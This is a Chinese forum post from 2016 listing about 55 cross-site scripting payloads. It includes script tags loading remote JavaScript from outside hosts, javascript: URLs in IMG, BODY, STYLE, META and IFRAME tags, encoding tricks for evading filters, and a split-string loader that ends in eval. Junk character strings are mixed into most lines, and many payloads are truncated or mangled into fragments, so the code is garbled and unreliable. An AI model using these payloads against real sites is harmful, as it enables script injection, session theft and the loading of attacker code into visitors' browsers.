(1)普通的XSS JavaScript注入7 I+ {- m/ V: s. M$ e
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>$ z' w7 ]$ w$ H7 Y' E
(99)另类弹框
5 V! l- c$ I: O3 L) T0 Q$ c<q/oncut=alert()>1
: y) B" J1 y- O8 e<s/onclick=alert()>b
1 Q3 r* t0 n* q- _: u" f5 B <XSS=" onclick="alert(1)//">clickme</SSX=">
, A4 }/ b) k9 }6 C! ]5 C3 F <zzz onclick=alert`1`>clickme</zzz>
9 g5 H; ]5 ~+ u; h, q; d <a onclick=alert`1`>clickme</a># s. Q; p9 U/ O( N3 l" `
<a=">clickme</a=">- ~7 }* S- ~4 R: p/ } e' N
<a=">clickme</a>9 L. ]0 H3 y5 k& @+ n
<z=">clickme</z=">
! Y6 c1 J O- ~) K# u0 E# N<z onclick=alert`1`>clickme</z>
; M u5 G$ f, G
0 {7 Z5 D5 @7 X* {: D(2)IMG标签XSS使用JavaScript命令% f$ |$ X1 M: k# Y4 ^
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
l, {3 i6 J% x# Y0 X; X- F& a
* m/ O) f, G) m P( _1 P( ]" r& r(3)IMG标签无分号无引号9 X( A( K- t2 I- P3 M
<IMG SRC=javascript:alert(‘XSS’)>
9 s4 {6 h! ]9 f( w- l$ {; [, |) j4 c3 m c; U$ X8 X% G
(4)IMG标签大小写不敏感* [8 @ n/ M! Z h/ G
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>0 R4 W0 s: H: g) Q, A9 B9 I
2 O! T* Z, g* q7 A2 m u(5)HTML编码(必须有分号)7 o( E: J' i7 {% T9 z* W4 H- K4 R' k
<IMG SRC=javascript:alert(“XSS”)>9 L2 y3 g1 M* v4 P6 ~; W/ P3 q$ d
9 W3 }/ B2 r Q$ F(6)修正缺陷IMG标签
2 D& d, C. K( _0 a, B<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>) H; s6 @9 d% Y
+ R5 @/ ?& p; ^3 Y4 e+ Z% \
(7)formCharCode标签(计算器)
! F2 N, P( p% o0 t! Q K/ |% @ c<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> p1 g& s0 x- H6 ~
0 S3 \5 ?) M* ^
(8)UTF-8的Unicode编码(计算器)% X3 f- e8 Q7 D" X# q- C9 S
<IMG SRC=jav..省略..S')>
/ X# Z/ D4 U# x( r w8 m! C9 A7 O; u
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)2 S9 d3 F5 g$ D' ^# b+ t
<IMG SRC=jav..省略..S')>7 [, [! o! o1 t- J
" R* |: k; c( L; p, P
(10)十六进制编码也是没有分号(计算器); Q2 P( T6 o# M. i
<IMG SRC=\'#\'" /span>- ?% q$ B- F8 C: g" S% l) b/ H
% j w1 b) Z7 a(11)嵌入式标签,将Javascript分开
6 E. Z* u3 s, c$ D! i<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>( u* y( W1 P; s# i9 _ B
- ]5 G2 ?4 G* e
(12)嵌入式编码标签,将Javascript分开
! S& I1 c6 H" | _0 w& K: O& V<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
$ i s8 l8 }8 K/ u
/ r: m0 I& h' w/ F(13)嵌入式换行符- h/ Q; ?& u% G
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
# ^$ a9 q1 q9 l: N/ ]
0 T8 B- h3 Z: X( M(14)嵌入式回车% C3 R4 b# s7 |2 x# E" v
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>: W, A/ C/ r, |$ ?. c' h
2 z& d: e7 ~/ u7 r* p
(15)嵌入式多行注入JavaScript,这是XSS极端的例子) P. y% Y1 ?4 Y4 r/ K2 b% n( i/ w
<IMG SRC=\'#\'" /span>$ i1 p r; ]0 p
1 b y H* Y* z7 G' j9 W
(16)解决限制字符(要求同页面)
P5 c$ f7 k& Z9 e# [( V! ~<script>z=’document.’</script>! z& R7 Z. U9 |1 I8 I7 N
<script>z=z+’write(“‘</script>4 `; d$ l' n6 P* D9 c" [- I1 ]
<script>z=z+’<script’</script>' i' v2 C% x1 @/ `# W( b5 J
<script>z=z+’ src=ht’</script>3 P i2 S: k7 S5 s$ s- O. Z
<script>z=z+’tp://ww’</script>
) W! g& ], B& x9 v$ V! n<script>z=z+’w.shell’</script>9 L0 w1 O# [+ m! W
<script>z=z+’.net/1.’</script>* t1 }- g. D& z0 \0 k
<script>z=z+’js></sc’</script>
* N% Z- b/ l% @5 W<script>z=z+’ript>”)’</script>
! L( P: k- ^: y& P9 ]$ e8 S<script>eval_r(z)</script>
" N' |0 y3 A) p9 V, ~- c# y, G, f* ^8 t+ M7 y0 a( k
(17)空字符
+ }# K% s A1 D, y$ ^perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
4 X5 ?( I2 ]+ U1 A4 O, \- l4 I! F" I p/ p: K
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
. R H0 J" s" o+ H3 U- Iperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out e7 Z N$ W/ U. f& S
1 ~/ x' V: i+ P(19)Spaces和meta前的IMG标签
@! \* ]$ P! X# N- d& e5 g<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
9 f( J6 C) p: W1 U
& q3 o2 O% l0 j' o; ]2 k( P(20)Non-alpha-non-digit XSS1 t, e$ \ t3 E
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
" U8 n7 e1 b7 T5 l. @9 [
; P: ~: \2 a" W9 J0 h3 z$ a(21)Non-alpha-non-digit XSS to 2' Y" J6 U+ c4 t4 e4 R
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
3 P5 K8 L' X3 U7 Z% j+ e% d0 @8 ]* k# l$ d0 i8 y
(22)Non-alpha-non-digit XSS to 3$ ~; P! Z- e8 a: t& O9 g
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
7 _( p% ~8 Q# m% g" d3 z
8 x5 l, a) h! R& ]& j5 S% T# z(23)双开括号/ _! T) O9 n7 o
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
6 i' n$ E ^0 W' x; a4 L0 i
( C$ X. H* u) E% R(24)无结束脚本标记(仅火狐等浏览器)
6 [% a2 b+ E2 \<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
: _) G5 S8 t) j7 z d# ~1 d5 O3 N4 ]7 u* z: J
(25)无结束脚本标记2
% \% {* _+ B m. {% {<SCRIPT SRC=//3w.org/XSS/xss.js>, B! N, w, Q" @0 S$ i9 z4 K! B
/ I: | [( M. w+ C* K" D& u6 D
(26)半开的HTML/JavaScript XSS( D. J% |5 R- A( ]& h" r8 A
<IMG SRC=\'#\'" /span>9 f. I6 m% R* A; l+ }7 I$ d
. `" T9 d. b9 e& M1 m1 D(27)双开角括号
; B% F, o9 E0 [+ _# x8 ? M2 j$ n<iframe src=http://3w.org/XSS.html <
& P9 P" {: B" ^- l% N7 ]! r! {
- w- D* `0 X3 N o3 e, Y(28)无单引号 双引号 分号
) D$ W6 [: s, J4 e: K3 ]9 o5 a<SCRIPT>a=/XSS/
* @5 t' b7 I# ?alert(a.source)</SCRIPT>
3 V1 y/ Y8 R0 H0 c! ~- [% K& e3 l, P5 x
(29)换码过滤的JavaScript
0 ]/ j) A; l9 C\”;alert(‘XSS’);//
/ Q+ q, l* c7 Z1 A) I; B4 T) ^! j% r2 H4 Q/ g7 ]. R. u
(30)结束Title标签
9 k$ _( c$ @5 [) i1 s( K</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>) T* g+ p. D6 a1 n: ^
+ o# b# o u! X! k8 |# {7 I(31)Input Image4 o6 O' G" `& M) K3 }
<INPUT SRC=\'#\'" /span>/ M: I; i i p' M
- r; T( Q" R. X$ _9 |# Y$ b9 K' J9 |
(32)BODY Image4 o W/ E9 V+ h3 C" S
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
' z k* v8 h7 R
- C+ ]$ K* h0 x9 A3 J! s0 p(33)BODY标签2 W/ o1 R# q) `" B6 R
<BODY(‘XSS’)>- h5 p o2 f9 n- k: O! [0 L$ ^3 G
: @1 G+ E3 B) n9 a
(34)IMG Dynsrc5 N1 J- F. g( y U, S
<IMG DYNSRC=\'#\'" /span>, O- V+ h! Y, r3 _" m8 x
0 t; r4 y/ ^5 Q( B
(35)IMG Lowsrc
( Q! S1 ~5 C: l' J<IMG LOWSRC=\'#\'" /span>" Q) D$ @( U* M8 {4 q0 m8 w
5 t1 u% `3 t# s g- X(36)BGSOUND" S$ x: {# x& L
<BGSOUND SRC=\'#\'" /span>
, s& ?4 n6 U4 z8 K' w3 K( i; g7 L) i3 l% Q( M7 }
(37)STYLE sheet* i* c) y0 J& `* ` @: p
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>/ @9 K1 a: x( t! B4 l
+ M3 y% B/ u2 }: u, P* @
(38)远程样式表5 D. c' b; c! ^" O/ |
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
- o0 _( T3 u) F( b1 a/ S l7 `7 u, y: t5 |8 K8 I
(39)List-style-image(列表式)2 r) O1 y( b: `2 z) `9 U. z
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
4 J$ o& q% n. W. e3 i6 Z: F2 R. C1 z3 Z* k2 i% [ q
(40)IMG VBscript
( N1 q( F3 j5 `2 S* c G<IMG SRC=\'#\'" /STYLE><UL><LI>XSS9 `$ ?+ [# w4 N0 Q& J/ C G
/ k; ?- G1 q9 H( l(41)META链接url3 @3 s: U3 W* d) x
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
$ u$ d: b* N: P$ _8 J* W# L
1 b+ b% y$ `0 Y1 K. s( ^4 A(42)Iframe) [# P2 A6 l9 x% o, Y) w+ b
<IFRAME SRC=\'#\'" /IFRAME>$ R) O0 ~; J5 w! z/ \& z: l
- [3 Q5 M0 f4 H/ N) d. u# | |
(43)Frame2 i3 ^. z4 y. a
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
' l+ x: ?) x% a" y2 C7 i w: @* @& z0 o: w# ]
(44)Table
/ _) j i6 z% s5 X6 A. d<TABLE BACKGROUND=”javascript:alert(‘XSS’)”> \7 X5 g. s' [' W
! {9 O" u) z- n# J(45)TD
' z2 g. D" ~. l. u3 _<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>+ L5 t" B+ Y9 f" @
; F7 B* E5 Y7 @1 \/ F(46)DIV background-image
3 S: C' E5 m0 G7 `8 ]<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>$ ]1 [6 Y4 U3 V7 q5 o/ P! c
$ \1 {" M L5 n/ M2 T(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
/ D$ w- l3 Q, x3 }; _8 k1 X' G<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
( N* m, C, j! ^4 a0 m j2 u
& D% [9 `% B5 G/ d(48)DIV expression8 m! J: L* s P, G- _# Q
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
) Y( L! s {4 h! `
5 h* j0 b2 J% v) e2 {3 w7 R; s N(49)STYLE属性分拆表达: p! I+ x* m' B9 D$ v, T% j
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>+ k! v- h$ Z3 W. p: e7 u
( u7 _; L6 L! k: S7 |3 ?+ x(50)匿名STYLE(组成:开角号和一个字母开头)+ h9 l( @0 O! M- J, X
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
3 N8 @/ r% ?- E) L; f' p5 N( ~3 W
0 }$ x4 Y/ b1 t4 \: W2 `9 j, N+ D(51)STYLE background-image
) Z+ l$ _2 H B4 A; ]' V- b<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>4 D7 G" @0 \8 O) W3 c2 {
. d+ s! a$ }! d M( F
(52)IMG STYLE方式7 d) C0 K$ i. m. D8 c; N4 D) P+ c8 D* B
exppression(alert(“XSS”))’>
( @- @ F0 o8 Y2 ~4 O6 J( e, D! N0 J9 H4 _
(53)STYLE background1 p" t) {8 T; p$ O3 b3 g
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
3 i. h. D: M" i9 G6 l$ x5 F' U z- u- ^! z! h* s" }
(54)BASE
8 i+ h" q W) k8 \# ~<BASE HREF=”javascript:alert(‘XSS’);//”>2 ?* s, ?- v% F! ?( [
5 H1 L( _) s7 D! Q(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS8 s2 N: L) S" |! v$ E+ K0 J
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>! U' d+ P( W/ u% c
|
发表于 2016-4-28 10:06:15
收藏
支持
反对